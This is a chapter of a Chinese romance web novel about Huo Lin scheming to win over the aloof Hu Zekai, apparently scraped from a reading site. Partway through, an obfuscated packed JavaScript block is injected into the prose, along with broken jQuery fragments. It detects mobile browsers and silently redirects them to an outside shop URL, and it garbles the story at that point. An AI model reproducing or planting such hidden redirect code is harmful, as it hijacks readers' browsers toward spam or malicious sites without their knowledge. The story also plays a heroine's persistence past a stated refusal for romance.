54. 第五十四章
作品:《重生之我被偏执影帝缠上了》 胡泽凯愣怔,一时之间不知所措。
沉默半晌,他仿佛有些挫败又有些无奈,说话的声音带着一丝不易察觉的颤抖,像是用尽全力问质问。
“你为什么就不能放弃我呢?”
霍琳表情平静地看着他,却说着最不正经的话:“你有没有听过一句话,得不到的永远在骚动。”
胡泽凯被她逗笑了,笑容里尽是纵容的温柔:“我不是让你得手了吗?还两次了。”
霍琳挑眉笑了,笑容里有几分痞气:“因为还有一句话,得到了,会上瘾。”
“……”
胡泽凯一时语塞,目光紧紧锁在对方的脸上。
这女人总是如此坦然地说出露骨的情话,笑容那么纯粹,却每次都勾得他心痒痒的。
毫无预兆地,某种压抑已久的情绪突然失控,他伸手扣住对方的脑袋,猛地吻住了那张带笑的唇。
让他更上头的是,他失控,女人比他更失控。不仅热烈地回应,甚至开始撕扯他的衣衫,仿佛要将彼此融入骨血。
这种沉沦失控的感觉如同脱轨,仿佛触及某个禁忌的开关似的,一向沉着冷静的上位者本能地抗拒,一个激灵就瞬间清醒过来,猛地推开与他纠缠的人。
“别停啊,我还没摸到你腹肌呢!”
喘息之际,小魔女笑得流里流气的,盯着他的腹肌处就要上手。
胡泽凯吓得后退两步,甩开那魔爪:“别来了,今、今天是我冒犯了!抱歉。”
像是被自己的冲动吓到了,他像个逃兵似的,转身就跑。
“我怎么就看上你这么一个玩意?”
他又羞又恼又无奈,自言自语地丢下这句话,便气冲冲地逃离。
霍琳看着他这副想爱却又强忍下来的执着,又气又心疼。
这男人,就因为知晓自己会五感缺失,不想连累他人,想要亲人,却刻意冷漠,想要朋友,却刻意疏远,想要情人,却刻意躲避。总是顾及他人的感受,小心翼翼地活着,看似反复无常,冷得不近人情,却是比任何都温柔。
或许,他本人都没发现,只有在这种生气、失控的时候他才显得朝气蓬勃,像个活生生、有血有肉的人。
他才二十四岁,风华正茂,霍琳不喜欢他平日里死气沉沉的样子,仿佛对一切都无所谓,随时准备赴死的样子。
“胡泽凯,你总问我图你什么,”她对着早已空无一人的方向,轻声却带着无法言喻的心疼,说,“我图你活呀!”
坐车回家的路上,胡泽凯痛定思痛,决定买一部属于自己的手机,从前觉得没必要,如今觉得必须要有。
把手机带回家后,他花了十分钟弄懂了如此操作手机,日常使用的软件如何使用,如何看热搜看视频。
随后,他认真地誊抄助理为他搜集过来的道歉内容,虽然觉得字里行间表达的意思怪怪的,但也没多想,一连抄写了二十封,全部装进了印着粉红爱心的信封里。
徐立新捧着大盒小盒的礼品进来,胡泽凯打开保险柜,从里头拿出上一年在法国拍得的珠宝,递给他,吩咐道:把这些给霍小姐送过去。”
徐立新接过盒子,有些迟疑:“老板,你不是在生霍小姐的气吗?”
胡泽凯冷冷地瞥了他一眼:“我生气,就不能给她道歉吗?”
这话说得……真理直气壮!
徐立新心里忍不住吐槽:这头跟老婆生气,转头就写道歉信,还让我送价值连城的珠宝过去,说你对人家没点意思,谁信啊!
他面上不敢显露,只得照办!
此时,霍琳正坐在院子里跟胡老爷子嗑瓜子聊天。
“乖孙媳啊,订婚宴的事,我大孙子有没有为难你啊?”胡老爷子关切地询问。
“没有啊,”霍琳笑着摇头,“连句重话都没说。”
“不应该啊,”胡老爷子捋着胡子,一脸不解,“以我大孙子的性格和行事风格,应该给你一个狠厉的教训才是。”
参与这件事的他们可是各自得到了可怕的“惩罚”,老爷子心里多少有些不平衡。
、
大孙子厚此薄彼啊!
旁边的老管家插话道:“老爷子,你是不知道,少爷对夫人是一点脾气都没有。
正说着,徐立新捧着一大堆礼物走进来,全部推到霍琳面前,笑道:“霍小姐——”
还没把话说完,老爷子就怒喝:“叫什么霍小姐?”
他严肃地纠正道:“叫夫人。”
徐立新看看大家,识趣地改口:“夫人,这些都是老板给你的道歉。”
胡老爷子听闻,眼前一亮:“天哪,我还是头一回见我大孙子送礼物给女孩子,开窍了?”
发现上面还有粉红色信封,他迫不及待地催促:“快打开来看看,上面写了什么?”
霍琳看到大家都露出一副好奇宝宝的神色,自己也好奇,于是打开其中一封书信。
看到上面的内容,众人吃惊,她有些不可置信,于是把剩下的十九封书信全部打开,忍不住笑了:“这是道歉信吗?这是情书吧?”
“你家老板有没有说些什么?”胡老爷子特别好奇。
徐立新回应:“有,老板让我每天都送,风雨无阻。”
霍琳觉得这不像胡泽凯那榆木脑袋的作风,若有所思:“他怎么突然开窍了?不像他的作风啊。”
“爱情会改变一切嘛。”徐立新有些心虚地干笑两声,赶紧给两人助攻,“你看,我老板今天还特意让我给他买新手机,这都是因为你啊。”
他嘴上是这么说,心里却在想:我哄骗老板把情书内容当做道歉内容抄送,还不是为了撮合你们。唉,我真是天底下最贴心的助理呀,年终奖应该要翻倍的!
胡老爷子感觉自己终于活出盼头了,乐得合不拢嘴:“孙媳妇,真有你的,看来我大孙子对你是越来越上心了。”
霍琳却摇摇头,眸子里闪过一丝狡猾和坚定:“还不够,我要让这个男人主动追我,为爱低头。”
胡老爷子惊叹:“哇哦,好伟大的目标。”
徐立新小声嘀咕:“简直是天荒夜谭。”
众人怒瞪了他一眼,老爷子兴奋地追问霍琳:“那下一步要我们怎么配合你啊?”
提到算计某人,霍琳自信地笑了:“我已经有新的计划了,你们凑过来,我详细讲给你们听……”
半晌后,众人皆对霍琳竖起了大拇指,心里一直感叹:真是人不要脸,天下无敌啊!
由于商讨事情太晚,霍琳留在老宅陪胡老爷子吃饭,巧的是,胡星海踩着饭点,带女朋友池早早回来。
霍琳看见他们,热情地笑了:“稀客啊,你们怎么会来老宅?”
胡星海自然地坐在饭桌前,抱怨:“唉,还不是因为我哥对我进行全面经济封锁,连派传单的活都揽不到,只好带着女朋友回家蹭吃蹭喝了!”
佣人识趣地为他们添碗筷,悄然退下。
看着一桌子的美味佳肴,他一改先前一蹶不振的模样,打鸡血似的抖擞起精神:“来,琳姐,相请不如偶遇,上回我们‘坑’哥那么成功,今天菜肴这么丰富,就当是补上回的庆功宴了!”
霍琳眼中闪烁着兴奋,赞道:“说得好!”
胡老爷子也被这气氛带动得兴奋起来,立刻扬起手下令:“来,开香槟!”
佣人训练有素地拿来开了瓶的香槟,为他们各自斟酒。
胡星海举起酒杯站起来,高呼:“坑哥万岁!”
池早早举起酒杯,紧接着高呼:“坑姐夫万岁!
胡老爷子不甘落后,举起酒杯笑着喊:“坑孙子万岁!”
霍琳眨了眨眼,兴奋大喊:“坑老公万岁!”
酒杯碰在一起,发出了清脆的响声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478113|201598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一时间,餐厅里热闹非凡,所有人都为那场算计胡泽凯成功的计谋大肆庆祝,笑声不断,其乐融融。
可偏偏就在此时——
“大少爷回来了!”佣人突如其来的通报声,吓得他们人仰马翻。
“什么?”胡老爷子瞪大了眼,慌了。
“咚!”做贼心虚的胡星海摔了。
始作俑者吓得惊慌失措,眼见人就要抵达,来不及逃了,“哧溜”一下钻到了长长的餐桌底下,屏住呼吸。
胡泽凯目光扫过杯盘狼藉的餐桌和神色各异的众人,最后目光定格在揉屁股的胡星海身上:“你怎么会在这里?”
胡星海向他做了个鬼脸,理直气壮地说道:“我带女朋友回来见爷爷,不行吗?”
说到这,他忍不住讽刺这位壕无人性的大哥:“就哥你不孝,至今女朋友都没着落。”
胡泽凯选了个位置,四平八稳地坐下来,冷然提醒:“托你的福,我都被订婚了,还怎么找女朋友。”
他这个语气闷闷的,无奈又带几个委屈。
躲在桌子底下的某人却忍不住笑出了声,然后,又后知后觉地捂住嘴。
胡星海为了替她打掩护,故意大声叫嚷:“那你应该带未婚妻回来跟爷爷吃饭的。”
胡泽凯盯着手里的餐刀,意有所指地说:“也不见得人没有来。”
此言一出,众人一惊,霍琳一动不动,以为被发现了。
周围一下子陷入令人窒息的死寂。
然而,胡泽凯毫无动静,只是动作优雅地就餐,大家摸不透他的心思,见霍琳也不出来,就都装傻充愣,低头用餐。
一顿饭就在这种微妙而安静的气氛中结束。
周围渐渐安静下来,霍琳在桌子底下静静地聆听者,确定没有人,便像乌龟那般试探着仰起头,却正好撞进了一双深邃的眼眸里。
她的身体随即僵在空中。
胡泽凯正居高临下,目光炯炯地盯着她,说话的声音很轻,带有几分无奈。
“舍得出来了?”
霍琳尴尬地干笑两声:“呵呵,原来你发现了。”
“你在桌子底下笑得那么欢,我又不聋。”胡泽凯的语气平淡,却带着一丝不易察觉的调侃,“怎么还不出来?”
霍琳试图移动一下,却难受得倒吸一口凉气,仰头无助地看向心上人:“腿、腿麻了”
她这神色、这语气,怎么看都像在向男人撒娇。
胡泽凯没有说话,俯下身将人抱起来,放到一旁的真皮沙发上,然后单膝蹲下,替她揉捏小腿,活络筋骨。
不知是灯光柔和的关系,照得胡泽凯的神色没往常那么冷漠,眼神分外温柔,似水般温柔。
本来这人的颜值就长在霍琳的心巴上,如今瞧见他这般温柔待自己,她怎么能不心动?
她的做人宗旨一向是,心动不如行动!
于是,那可骚动的心又骚起来了。
她有些不自然地动了动小腿,伸脚撩对方的腿,在对方看过来时,眨眨眼:“相公,人家大腿也麻了。”
说着,使了使眼色,示意他帮忙揉大腿。
如此明显的暗示,傻子都懂。
可胡泽凯不想懂,也被那不伦不类的称呼弄得一阵恶寒。
捏揉小腿的手顿了一下后迅速收回,他站起身来,语气清沉地婉拒:“越界了,你自己揉把。”
霍琳脚伸过来勾他的手:“没关系,我允许你越界。”
胡泽凯垂眸看着她的“胡作非为”,沉默片刻,才淡淡地说:“我不想。”
“不,”霍琳攀上他的肩,往他耳侧吹气,“你想。”
胡泽凯闭着眼,不言不语,一动不动,任由她折腾。
躲在暗处偷窥的三人组瞧见这一幕,不禁感叹:这两人的相处模式,怎么这么像和尚和妖精!

